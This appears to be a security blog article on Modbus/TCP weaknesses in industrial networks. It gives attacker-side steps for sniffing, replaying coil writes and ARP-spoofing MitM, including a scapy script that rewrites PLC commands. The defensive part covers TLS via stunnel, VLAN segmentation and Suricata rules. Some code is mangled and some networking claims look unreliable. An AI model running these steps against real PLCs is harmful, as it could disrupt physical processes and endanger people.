Listen to this Post
Introduction:
Operational Technology (OT) environments still rely heavily on Modbus/TCP, a protocol designed in 1979 when security was not a consideration. As demonstrated in a recent hands-on lab, a €30 switch with port mirroring is enough to sniff, manipulate, and replay Modbus commands due to the complete absence of authentication, encryption, or integrity checks. This article dissects the attack surface, extracts mitigation techniques from verified industry sources, and provides step‑by‑step hardening procedures applicable to both legacy and modern industrial networks.
Learning Objectives:
- Identify the structural weaknesses of Modbus/TCP and how they enable passive/active attacks.
- Execute packet capture and manipulation of Modbus/TCP traffic using open‑source tools.
- Implement TLS encapsulation for Modbus (Modbus Security Specification) and alternative architectural compensations.
- Configure network segmentation, micro‑segmentation, and deep packet inspection (DPI) firewall rules.
- Apply practical monitoring and alerting for rogue Modbus commands in an ICS environment.
You Should Know:
1. Anatomy of a Modbus/TCP Sniffing Attack
The original post describes a minimalist lab: a managed switch with port mirroring, a laptop running Wireshark/tcpdump, and two Modbus devices. Because Modbus/TCP places the function code and data in plain text, any adversary with Layer‑2 access can reconstruct the entire control logic.
Step‑by‑step guide (Linux attacker perspective):
- Enable port mirroring (SPAN) on the switch CLI or web interface. Example for a Cisco small business switch:
configure terminal monitor session 1 source interface gi1/0/1 both monitor session 1 destination interface gi1/0/24 end
- On the attacker laptop connected to the destination port, capture traffic:
sudo tcpdump -i eth0 -s 0 -w modbus_capture.pcap port 502
- Use Wireshark or tshark to filter only Modbus commands:
tshark -r modbus_capture.pcap -Y "modbus.func_code == 1 or modbus.func_code == 5 or modbus.func_code == 15" -V
– Function code 1: Read Coils
– Function code 5: Write Single Coil
– Function code 15: Write Multiple Coils
4. Replay captured write commands using `scapy` or modbus-cli:
modbus write 192.168.1.10 502 5 0 0 255 0 force coil ON
What this does: Demonstrates that no authentication is required; any raw TCP socket can impersonate a legitimate HMI or PLC.
2. Live Man‑in‑the‑Middle (MitM) with ARP Spoofing
When port mirroring is unavailable, an attacker on the same broadcast domain can use ARP cache poisoning to redirect Modbus traffic through their machine.
Step‑by‑step guide (Linux – use only in authorised lab environments):
1. Enable IP forwarding:
echo 1 > /proc/sys/net/ipv4/ip_forward
2. Use `arpspoof` (from dsniff) to poison both the PLC and HMI:
arpspoof -i eth0 -t 192.168.1.10 192.168.1.100 tell PLC that HMI is attacker arpspoof -i eth0 -t 192.168.1.100 192.168.1.10 tell HMI that PLC is attacker
3. Run `mitmproxy` or a custom Python script with `scapy` to intercept and alter packets.
– Example modification: force every write coil command to OFF:
from scapy.all import def modbus_mitm(pkt): if pkt.haslayer(TCP) and pkt.dport == 502 and Raw in pkt: Modbus function code is at offset 7 in TCP payload if pkt[bash].load[bash] == 5: write single coil Force coil data to 0x00 0x00 (OFF) modified = pkt[bash].load[:10] + b'\x00\x00' + pkt[bash].load[12:] pkt[bash].load = modified send(pkt)
4. The attack is invisible to both endpoints because the TCP checksums are recalculated and the sequence numbers remain valid.
- Implementing Modbus Security (TLS) per the Official Specification
The Modbus.org specification (v36 2021‑07‑30) defines encapsulation over TLS on port 802, with X.509v3 mutual authentication and RBAC via certificate extensions. Jean-Paul Verheylewegen’s comment correctly points out that the spec exists but vendor adoption is slow.
Step‑by‑step configuration (simulated with open-source tools):
1. Generate CA and device certificates:
openssl req -x509 -newkey rsa:2048 -days 365 -keyout ca-key.pem -out ca-cert.pem -nodes openssl req -newkey rsa:2048 -keyout modbus-server-key.pem -out modbus-server.csr -nodes openssl x509 -req -in modbus-server.csr -CA ca-cert.pem -CAkey ca-key.pem -out modbus-server-cert.pem -CAcreateserial
2. Use `stunnel` to wrap plain Modbus/TCP inside TLS:
[modbus-tls-server] accept = 802 connect = 127.0.0.1:502 cert = /etc/stunnel/modbus-server-cert.pem key = /etc/stunnel/modbus-server-key.pem CAfile = /etc/stunnel/ca-cert.pem verify = 2 require client cert
3. Client-side `stunnel` configuration:
[modbus-tls-client] client = yes accept = 127.0.0.1:5020 connect = 192.168.1.10:802 cert = /etc/stunnel/modbus-client-cert.pem key = /etc/stunnel/modbus-client-key.pem
4. The legacy HMI now sends plain Modbus to localhost:5020; `stunnel` encrypts it to the remote PLC.
Note: This requires the PLC to have a TLS wrapper or a bump‑in‑the‑wire device; native support remains rare.
4. Network Segmentation & Micro‑segmentation as Compensating Controls
Jacob Grove Hinsch and Steve Bélanger emphasise micro‑segmentation and non‑routed /30 or /31 subnets. This limits the blast radius and makes direct IP spoofing harder.
Step‑by‑step guide (VLAN and ACL hardening on Cisco IOS/IOS‑XE):
1. Create dedicated VLAN for each Modbus cell:
vlan 20 name CELL_1_MODBUS vlan 30 name CELL_2_MODBUS
2. Assign switch ports to respective VLANs and disable trunking on host ports:
interface GigabitEthernet1/0/1 switchport mode access switchport access vlan 20 switchport port-security switchport port-security maximum 2 switchport port-security violation shutdown spanning-tree portfast
3. Apply VLAN ACL (VACL) to restrict Modbus commands only from authorised IPs:
ip access-list extended MODBUS_CONTROL permit tcp host 10.20.0.10 host 10.20.0.20 eq 502 deny tcp any any eq 502 vlan access-map BLOCK_MODBUS 10 match ip address MODBUS_CONTROL action forward vlan access-map BLOCK_MODBUS 20 action drop vlan filter BLOCK_MODBUS vlan-list 20
4. For extreme isolation, use /31 point‑to‑point links between PLC and HMI, eliminating the possibility of ARP spoofing:
interface vlan 20 ip address 192.168.1.0 255.255.255.254
Only two devices can exist in that subnet.
5. Monitoring and Anomaly Detection with Suricata
CISA’s article (linked in the post) references the “Johnny Can’t Authenticate” problem; monitoring is therefore essential.
Step‑by‑step guide (Suricata IDS rules for rogue Modbus writes):
1. Install Suricata on a Linux monitoring host connected to the mirrored port.
2. Write custom Modbus rules (example: alert on write to a critical coil):
alert tcp any any -> any 502 (msg:"OT-CRITICAL Unauthorized Modbus Write Single Coil"; content:"|00 00|"; offset:2; depth:2; content:"|00 05|"; within:4; distance:5; content:"|FF 00|"; distance:3; within:2; classtype:attempted-recon; sid:1000001;)
This rule triggers when function code 5 (0x05) writes a coil to ON (0xFF00).
3. Deploy with SELKS or Security Onion for visualisation.
4. Additionally, monitor for unexpected port‑802 (Modbus/TLS) usage if TLS is not yet deployed – this could indicate an adversary bypassing security by introducing their own TLS wrapper.
What Undercode Say:
- Key Takeaway 1: Modbus/TCP’s lack of native security cannot be fixed by patches; it requires architectural wrappers (TLS, IPSec, VPNs) or strict segmentation. Waiting for vendors to implement Modbus Security (Port 802) is not a strategy—defenders must deploy bump‑in‑the‑wire solutions today.
- Key Takeaway 2: The cheapest switch with port mirroring is a fully functional network‑monitoring tool for defenders, but also a perfect covert attack platform for adversaries. Physical security and port security are the first line of defence—if an attacker can plug in a cable, the game is half lost.
- Analysis: The discussion in the original post reveals a dangerous complacency: “with good segmentation it’s not a problem.” While segmentation reduces the attack surface, it does not eliminate the protocol’s inherent inability to verify the identity or authorisation of a sender. Insider threats, misconfigured firewalls, and compromised engineering workstations remain potent vectors. The real solution lies in combining zero‑trust networking principles (every packet must be authenticated) with deep packet inspection that understands industrial semantics. The fact that Schneider Electric and other major vendors are only now “starting to implement” Modbus TLS shows how far behind OT security lags. Until full lifecycle replacement occurs, every Modbus/TCP packet on the wire must be treated as a potential weapon.
Prediction:
Within the next 24 months, we will see the first widely reported ransomware‑like attack that specifically targets Modbus/TCP traffic between engineering workstations and PLCs, not by exploiting a software vulnerability, but by simply abusing the protocol’s default trust model. This will force regulatory bodies (e.g., NERC CIP, TSA pipelines) to explicitly mandate that all new OT installations using Modbus/TCP must either implement the TLS‑secured variant or be isolated behind unidirectional gateways. Legacy systems will be retrofitted with bump‑in‑the‑wire encryption appliances, creating a multi‑million dollar market for OT security vendors. The cost of inaction will be measured in production downtime, not just data theft.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Prantzios Otsecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
